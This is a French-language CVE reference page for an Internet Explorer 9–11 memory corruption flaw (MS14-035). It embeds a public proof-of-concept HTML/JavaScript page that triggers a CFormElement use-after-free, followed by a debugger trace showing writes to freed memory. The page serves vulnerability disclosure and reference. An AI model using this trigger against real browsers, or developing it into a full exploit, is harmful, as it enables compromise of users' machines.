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Descriptions du CVE
Microsoft Internet Explorer 9 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-1773, CVE-2014-1783, CVE-2014-1786, CVE-2014-1795, CVE-2014-1805, CVE-2014-2758, CVE-2014-2759, CVE-2014-2765, CVE-2014-2766, and CVE-2014-2775.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 34010
Date de publication : 2014-07-07 22h00 +00:00
Auteur : Drozdova Liudmila
EDB Vérifié : No
<!--
Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace)
Product: Internet Explorer
Vulnerable version: 9,10
Date: 8.07.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 9,10
CVE : unknown
-->
<html>
<body>
<form id="form1">
<input id="input1" type="text" value="">
</form>
<script>
loaded = false ;
function func() {
if (loaded) {
document.body.innerHTML = "" ; // free CFormElement
}
}
input1 = document.getElementById("input1") ;
input1.onclick = func ;
loaded = true ;
input1.click(); // Call DoClick function
</script>
</body>
</html>
<!--
Vulnerability details
MSHTML!CInput::DoClick
66943670 8bcf mov ecx,edi
66943672 ff751c push dword ptr [ebp+1Ch]
66943675 ff7518 push dword ptr [ebp+18h]
66943678 ff7514 push dword ptr [ebp+14h]
6694367b ff7510 push dword ptr [ebp+10h]
6694367e ff750c push dword ptr [ebp+0Ch]
66943681 ff7508 push dword ptr [ebp+8] <---- esi = CFormElement
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi
66943689 85db test ebx,ebx
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695)
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory
66943691 836668fe and dword ptr [esi+68h],0FFFFFFFEh ; memory corruption, write to freed memory
MSHTML!CInput::DoClick+0x60:
66943681 ff7508 push dword ptr [ebp+8] ss:0023:023ec994=00000000
0:005> p
eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540
eip=66943684 esp=023ec95c ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x63:
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf)
0:005> dds esi l1
0034cd20 6661ead8 MSHTML!CFormElement::`vftable'
0:005> !heap -x esi <-- esi contains valid pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - c LFH;busy
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=66943689 esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CInput::DoClick+0x68:
66943689 85db test ebx,ebx
0:005> dds esi l1
0034cd20 6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c
0:005> !heap -x esi <-- esi contains freed pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - 0 LFH;free
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368b esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6a:
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) [br=0]
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368d esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6c:
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001
-->
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-035
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
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